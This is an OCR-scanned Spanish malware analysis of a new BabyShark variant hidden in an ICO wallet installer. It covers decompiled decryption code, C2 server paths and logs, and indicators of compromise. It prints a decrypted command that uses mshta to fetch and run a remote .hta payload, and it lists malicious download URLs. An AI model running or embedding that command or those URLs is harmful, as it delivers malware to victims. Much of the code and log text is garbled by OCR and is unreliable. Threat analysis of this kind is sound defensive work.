https://carolcolecatholicartist.com/wp-includes/js/jquery/
articles/Mzfmj0.hta

Esta nueva muestra encontrada en Hibryd Analysis es
realmente interesante debido a que se trata de un PE ejecutable,
que se encuentra publicado en una web la cual publicita una
ICO (Initial Coin Offering). La empresa se llama Zoptax (www.
zoptax.com), registrada en EEUU, por la informacién que se
puede encontrar por Internet parece tratarse de algo legitimo.

Dentro de su web, ademas de publicitar su empresa y
mostrar a los trabajadores de esta, también permite la descarga
de un software para las plataformas mas comunes (Windows,
Linux, Mac, Android y préximamente i0S):

Download Wallets

W Download Now Download Now

Coming Soon

e https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
7 https://www.hybrid-analysis.com/sample/38a2achfe7469e5fd5a14793922ec63911a0b3cdb283461982c37e9c758127f?environment
1d=100




La Unica muestra que parece encontrarse relacionada con esta familia es la perteneciente a la
plataforma de Windows. El fichero ejecutable contiene una pequena rutina maliciosa insertada entre lo que
parece el cddigo legitimo, dicha rutina se encarga de descifrar una cadena y finalmente ejecutarla con la
funcion WinExec.

-55;

-121;

112;

275

-87;

*( DWORD *)}CmdLine = @;
while { 1 )

SO || R T T

CmdLine[vz++] = v3 ~ BYTEL(V1);

/1 = 8algn 6BFB58[9057698 * ( DWORD)&VI[v3] + 6];
if ( v2 == 56 )

break;

3 = (unsigned _ int8)*(&v60 + v2);

. !
WinExec(CmdlLing, @); |
sub_55D8DB(&vS1);

if ( byte 164B4CE )

i

Tras terminar el descifrado la cadena se obtiene el siguiente resultado:

cmd /c mshta http://www.seoulhobi.biz/method/Xobjy0.hta

Dicha sentencia es similar a las ejecutadas por todas las anteriores versiones de BabyShark.

1. Esta nueva versidn también obtiene su persistencia dentro del equipo de la misma manera que
anteriores versiones, guarda la informacidn del triaje en el mismo fichero y también utiliza el
mismo comando para convertir dicho fichero a Baseb4. Por uUltimo, envia el contenido de este
fichero al servidor de C&C, en la direccion [BASE_URL]/upload.php.

2. Otra relacidon encontrada entre la primera version de BabyShark y la nueva, es la funcion
encargada de descifrar los comandos recibidos desde el servidor de C&C:

d=11:10=C000(t0)

Toda la funcidn se mantiene, siendo Unicamente modificado el valor de la variable “d”



Todas las novedades introducidas en esta nueva version se han implementado en el lado del servidor
de Comando y Control. Como ya se ha visto en el apartado anterior, se sigue manteniendo el mismo sistema
para obtener la persistencia y se sigue obteniendo la misma informacion en la etapa del triaje al igual que
se siguen enviando la informacion al servidor de C&C de la misma manera.

1. Sise intenta acceder a ruta raiz ([BASE_URLI]/index.php), se realiza una redireccion a la web de
Microsoft.

2. Ahora se almacena informacién sobre los accesos sospechosos, de esta manera si se intenta
seguir un flujo no permitido, esto queda registrado y ya no se permite continuar con la ejecucion.

[BASE_URL]/blackip.txt: en esta ruta, se almacena un listado de direcciones IP y nombre de
equipos en baseé4 que han sido bloqueados.

oTU 0A==

ToB MOASACPHAUABDAA==

Nj)Y

VwB QQAZAFAATWBVAFYANQBVAFAA
Njc

OgB \SOATAFQALOASAFAALQAWADEA
MTU M) Ml

VB TwATAFAADwA=

[BASE_URL]/resp: en esta ruta, se almacena un listado con fecha, hora, direccion IP y UserAgent.

2819/087/04 87-37-PM Wget/1.19.4 (linux-gnu) open document.

2019/87/05 12-25-50-AM doc file downloaded Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:67.0) Gecko/20100101 Firefox/67.0
2019/87/05 12-26-05-AM doc file downloaded Mozilla/5.8 (X11; Ubuntu; Linux %86 64; rv:67.0) Gecko/20100181 Firefox/67.0
2019/87/05 12-26-19-AM doc file downloaded Mozilla/5.@ (X11; Ubuntu; Linux x86 64; rv:67.0) Gecko/20100101 Firefox/67.0
2019/07/05 12-26-39-AM doc file downloaded Mozilla/5.8 (X11; Ubuntu; Linux %86 64; rv:67.0) Gecko/20100101 Firefox/67.0
2019/07/05 12-33-22-AM 164, .91 doc file downloaded Mozilla/5.8 (X11; Ubuntu; Linux x86 64; rv:67.0) Gecko/201001081 Firefox/67.0

[BASE_URL]/resp_suspect: en esta ruta, se almacena un listado con fecha, hora, direccion IP y
cual fue la accién sospechosa procedente de dicha direccion IP.

2019/06/25 08-PM 12,191 asist file downloaded suspected access
2019/06/25 08-PM 15.28 asist file downloaded suspected access
2019/06/25 08-PM }8.152 asist file downloaded suspected access
2019/06/25 08-PM i5.28 asist file downloaded suspected access
2019/06/25 09-PM 12.191 asist file downloaded suspected access
2019/06/25 09-PM }8.152 asist file downloaded suspected access
2019/06/25 09-PM i5.28 asist file downloaded suspected access
2019/06/25 10-PM 12.191 asist file downloaded suspected access
2019/06/26 11-PM i5.28 asist file downloaded suspected access

2019/06/27 12-
2019/06/27 12
2019/06/27 12
2019/06/27 12
2019/06/27 12
2019/06/27 12-
2019/06/27 12-

}8.152 asist file downloaded suspected access
.38.230 asist file downloaded suspected access
17.165 asist file downloaded suspected access
87 asist file downloaded suspected access
12.191 asist file downloaded suspected access
12.191 asist file downloaded suspected access
15.28 asist file downloaded suspected access

TEEEEEER

3. Se ha encontrado una nueva ruta la cual proporciona comandos en PowerShell y que permite la
descarga de otros Payloads. Dicha ruta se encuentra en [BASE_URL]/cow.php y se le realizan
peticiones GET, donde el parametro “op” indica el comando que se esta pidiendo al servidor de
Comando y Control. Se han encontrado un listado con algunos de estos comandos:

o e power_exe_del.gif
e power_dirgif e power_key.qgif
e power_com.gif e power_key_j.gif

e power_exe.qgif e power_kill.gif



B 7. INDICADORES DE
COMPROMISO

Hashes SHA256

URL (RED)

Dominios (RED)

6f76a8e16908ba2d576cf0e8
cdb70114dcb70e0f7223be10
aab3a728dcéb5chlc

7b77112ac7cbb7193bcd891
ce4B8ab2acff35e4f8d523980d
ff834cb42eaffafa

9d842c9c269345cd3b2a%ce
7d338a03ffbf3765661f1eebd
5e178f40d409c3f8

2bédc1a826a4d5d5de5a30b
458e6ed995a4cfb9cad8114d
1197541a86905d60e

66439f0e377bbe8cda3eb16e
801a86c64688e7c3dde0287
b1bfb298a5bdbc2a2

8ef4bc09a953491061783445
7114b9217cac9cb33ae22b3
7889040cde4cabeab

331d17dbe4eeb61d8f2c91d7e
4af17fb38102003663872223
efaa4a15099554d7

1334c087390fb946c894c186
3dfc9f0a659f594a3d6307fb4
8f24c30a23e0fcO

dc425e93e83fe02da9c76b56
f6fd286eace282eaadbd8d49
7e17b3ec4059020a

94a09aff59c0c27d 10495090
32d5ba05e9285fd522eb20b
033b8188e0feesff0

https://tdalpacafarm.com/
files/kr/contents/vkggy0.hta

https://tdalpacafarm.com/
files/kr/contents/doc.
php?op=1
https://fmchr.in/images/
common/neacd/qzqrn0.hta

https://fmchr.in/images/
common/neacd/expres.
php?op=1
https://mohanimpex.com/
include/test/uggox0.hta
https://christinadudley.com/
public_html/cdudley/sites/
default/files/1203427/doc.
php?op=2
https://christinadudley.com/
public_html/cdudley/sites/

default/files/1203427/zjckkO.

hta

https://www.christinadudley.

com/public_html/cdudley/
sites/default/files/1203427/
doc.php?op=1
https://www.mohanimpex.
com/include/
tempdoc/891250/doc.php

http://www.mohanimpex.
com/include/
tempdoc/891250/doc.
php?op=1
https://mohanimpex.com/
include/tempdoc/891250/
doc.php?op=2
https://mohanimpex.com/
include/tempdoc/891250/
ersrr0.hta
https://christinadudley.com/

public_html/cdudley/media/
net/001/string.gif
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